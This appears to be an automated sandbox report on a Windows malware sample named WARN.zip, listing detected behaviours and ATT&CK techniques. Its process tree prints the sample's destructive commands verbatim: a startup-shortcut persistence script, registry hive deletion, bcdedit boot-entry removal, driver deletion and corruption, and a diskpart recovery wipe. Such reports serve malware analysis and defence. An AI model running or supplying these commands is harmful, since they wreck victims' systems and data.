Overview

overview

10

Static

static

3

WARN.zip

windows10-2004-x64

10

WARN.zip

windows11-21h2-x64

1

net8.0/AFo...ow.dll

windows10-2004-x64

1

net8.0/AFo...ow.dll

windows11-21h2-x64

1

net8.0/AFo...eo.dll

windows10-2004-x64

1

net8.0/AFo...eo.dll

windows11-21h2-x64

1

net8.0/AForge.dll

windows10-2004-x64

1

net8.0/AForge.dll

windows11-21h2-x64

1

net8.0/Dis...ds.dll

windows10-2004-x64

1

net8.0/Dis...ds.dll

windows11-21h2-x64

1

net8.0/Dis...re.dll

windows10-2004-x64

1

net8.0/Dis...re.dll

windows11-21h2-x64

1

net8.0/Dis...ve.dll

windows10-2004-x64

1

net8.0/Dis...ve.dll

windows11-21h2-x64

1

net8.0/Dis...ns.dll

windows10-2004-x64

1

net8.0/Dis...ns.dll

windows11-21h2-x64

1

net8.0/Dis...st.dll

windows10-2004-x64

1

net8.0/Dis...st.dll

windows11-21h2-x64

1

net8.0/Dis...et.dll

windows10-2004-x64

1

net8.0/Dis...et.dll

windows11-21h2-x64

1

net8.0/Dis...ok.dll

windows10-2004-x64

1

net8.0/Dis...ok.dll

windows11-21h2-x64

1

net8.0/Int...ry.dll

windows10-2004-x64

3

net8.0/Int...ry.dll

windows11-21h2-x64

3

net8.0/Mic...ns.dll

windows10-2004-x64

1

net8.0/Mic...ns.dll

windows11-21h2-x64

1

net8.0/Mic...ts.dll

windows10-2004-x64

1

net8.0/Mic...ts.dll

windows11-21h2-x64

1

net8.0/NAu...io.dll

windows10-2004-x64

1

net8.0/NAu...io.dll

windows11-21h2-x64

1

net8.0/NAu...re.dll

windows10-2004-x64

1

net8.0/NAu...re.dll

windows11-21h2-x64

1

Resubmissions

01/06/2026, 05:20

260601-f1f4eacx9s

01/06/2026, 04:58

260601-fl152aey2q10

Analysis

  • user interaction
    yes
  • max time kernel
    268s
  • max time network
    290s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260513-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    01/06/2026, 04:58

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    WARN.zip
  • Size 3.8MB
  • Sample260601-fl152aey2q
  • SHA256 6492ea0b128804ec765e0a860ee5f92a0ceee88280888dfe53fec80aca436e39
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
10/10
defense_evasiondiscoveryexecutionpersistenceprivilege_escalationransomware

Malware Config

Signatures

  • Modifies firewall policy service 3 TTPs 16 IoCs
    defense_evasion
  • Modifies security service 2 TTPs 8 IoCs
    defense_evasion
  • Boot or Logon Autostart Execution: Port Monitors 1 TTPs 13 IoCs

    Adversaries may use port monitors to run an adversary supplied DLL during system boot for persistence or privilege escalation.

    persistence
  • Boot or Logon Autostart Execution: Print Processors 1 TTPs 2 IoCs

    Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation.

    persistence
  • Drops startup file 1 IoCs
  • Event Triggered Execution: Component Object Model Hijacking 1 TTPs

    Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects.

    persistenceprivilege_escalation
  • Impair Defenses: Safe Mode Boot 1 TTPs 6 IoCs
    defense_evasion
  • Modifies system executable filetype association 2 TTPs 46 IoCs
    persistence
  • Contacts third-party web service commonly abused for C2 1 TTPs 2 IoCs

    Legitimate web (hosting) services can be abused by malware authors to host malware or C2s.

  • Indicator Removal: File Deletion 1 TTPs

    Adversaries may delete files left behind by the actions of their intrusion activity.

    defense_evasion
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Maps connected drives based on registry 3 TTPs 3 IoCs

    Disk information is often read in order to detect sandboxing environments.

  • Modifies boot configuration data using bcdedit 1 IoCs
  • Drops file in System32 directory 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

    execution
  • System Location Discovery: System Language Discovery 1 TTPs 3 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Time Discovery 1 TTPs 1 IoCs

    Adversary may gather the system time and/or time zone settings from a local or remote system.

    discovery
  • Checks SCSI registry key(s) 3 TTPs 59 IoCs

    SCSI information is often read in order to detect sandboxing environments.

  • Modifies registry class 64 IoCs
  • Modifies registry key 1 TTPs 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

    persistence
  • Uses Volume Shadow Copy WMI provider

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware
  • Uses Volume Shadow Copy service COM API

    The Volume Shadow Copy service is used to manage backups/snapshots.

    ransomware

Processes

  • C:\Windows\Explorer.exe
    C:\Windows\Explorer.exe /idlist,,C:\Users\Admin\AppData\Local\Temp\WARN.zip
    1⤵
      PID:1740
    • C:\Windows\System32\rundll32.exe
      C:\Windows\System32\rundll32.exe C:\Windows\System32\shell32.dll,SHCreateLocalServerRunDll {9aa46009-3ce0-458a-a354-715610a075e6} -Embedding
      1⤵
        PID:752
      • C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe
        "C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe"
        1⤵
        • Drops file in System32 directory
        • Suspicious use of AdjustPrivilegeToken
        • Suspicious use of WriteProcessMemory
        PID:180
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "powershell.exe" -Command " $shell = New-Object -ComObject WScript.Shell $shortcut = $shell.CreateShortcut('C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\RuntimeBroker.lnk') $shortcut.TargetPath = 'C:\Users\Admin\Desktop\WARN\net8.0\Runtime Broker.exe' $shortcut.WorkingDirectory = 'C:\Users\Admin\Desktop\WARN\net8.0' $shortcut.Save() "
          2⤵
          • Drops startup file
          • Command and Scripting Interpreter: PowerShell
          • System Time Discovery
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          PID:4832
        • C:\Windows\SYSTEM32\cmd.exe
          "cmd.exe" /c dd if=/dev/zero of=/dev/sda bs=446 count=1
          2⤵
            PID:3184
          • C:\Windows\SYSTEM32\reg.exe
            "reg.exe" delete HKLM\SYSTEM /f
            2⤵
            • Modifies firewall policy service
            • Modifies security service
            • Boot or Logon Autostart Execution: Port Monitors
            • Boot or Logon Autostart Execution: Print Processors
            • Impair Defenses: Safe Mode Boot
            • Maps connected drives based on registry
            • System Location Discovery: System Language Discovery
            • Checks SCSI registry key(s)
            • Modifies registry key
            PID:116
          • C:\Windows\SYSTEM32\reg.exe
            "reg.exe" delete HKLM\SOFTWARE /f
            2⤵
            • Modifies system executable filetype association
            • Modifies registry class
            • Modifies registry key
            PID:2088
          • C:\Windows\SYSTEM32\bcdedit.exe
            "bcdedit.exe" /delete {current} /f
            2⤵
            • Modifies boot configuration data using bcdedit
            PID:2520
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" -NoProfile -ExecutionPolicy Bypass -Command " $driverPaths = @('c:\windows\system32\drivers\*.sys') foreach ($driver in $driverPaths) { if (Test-Path $driver) { Remove-Item $driver -Force } } # Attempt to corrupt video driver $videoDriver = 'C:\Windows\System32\drivers\dxgkrnl.sys' if (Test-Path $videoDriver) { $bytes = New-Object byte[] 1024 [Random]::new().NextBytes($bytes) [System.IO.File]::WriteAllBytes($videoDriver, $bytes) } "
            2⤵
              PID:3196
            • C:\Windows\SYSTEM32\diskpart.exe
              "diskpart.exe" /s C:\destroy_recovery.txt
              2⤵
                PID:3984
            • C:\Windows\system32\usoclient.exe
              C:\Windows\system32\usoclient.exe ReportPolicies
              1⤵
                PID:2340

              Network

                    MITRE ATT&CK Enterprise v16

                    Reconnaissance

                    Resource Development

                    Initial Access

                    Execution

                    Command and Scripting Interpreter

                    1
                    T1059

                    PowerShell

                    1
                    T1059.001

                    Persistence

                    Boot or Logon Autostart Execution

                    2
                    T1547

                    Port Monitors

                    1
                    T1547.010

                    Print Processors

                    1
                    T1547.012

                    Create or Modify System Process

                    2
                    T1543

                    Windows Service

                    2
                    T1543.003

                    Event Triggered Execution

                    2
                    T1546

                    Change Default File Association

                    1
                    T1546.001

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Privilege Escalation

                    Boot or Logon Autostart Execution

                    2
                    T1547

                    Port Monitors

                    1
                    T1547.010

                    Print Processors

                    1
                    T1547.012

                    Create or Modify System Process

                    2
                    T1543

                    Windows Service

                    2
                    T1543.003

                    Event Triggered Execution

                    2
                    T1546

                    Change Default File Association

                    1
                    T1546.001

                    Component Object Model Hijacking

                    1
                    T1546.015

                    Defense Evasion

                    Impair Defenses

                    2
                    T1562

                    Disable or Modify System Firewall

                    1
                    T1562.004

                    Safe Mode Boot

                    1
                    T1562.009

                    Indicator Removal

                    1
                    T1070

                    File Deletion

                    1
                    T1070.004

                    Modify Registry

                    4
                    T1112

                    Credential Access

                    Discovery

                    Peripheral Device Discovery

                    2
                    T1120

                    Query Registry

                    3
                    T1012

                    System Information Discovery

                    2
                    T1082

                    System Location Discovery

                    1
                    T1614

                    System Language Discovery

                    1
                    T1614.001

                    System Time Discovery

                    1
                    T1124

                    Lateral Movement

                    Collection

                    Command and Control

                    Web Service

                    1
                    T1102

                    Exfiltration

                    Impact

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    powershell.exe.log
                    • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
                    • Size 2KB
                    • SHA256 3b0068d29ae4b20c447227fbf410aa2deedfef6220ccc3f698f3c7707c032c55
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    __PSScriptPolicyTest_3nph4p3f.ez1.ps1
                    • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_3nph4p3f.ez1.ps1
                    • Size 60B
                    • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                    • MD5 SHA1 SHA512 TLSH
                    Submit Download

                    memory/3196-15-0x00000228BC430000-0x00000228BC466000-memory.dmp
                    Download

                    memory/4832-0-0x000001FAAF300000-0x000001FAAF322000-memory.dmp
                    Download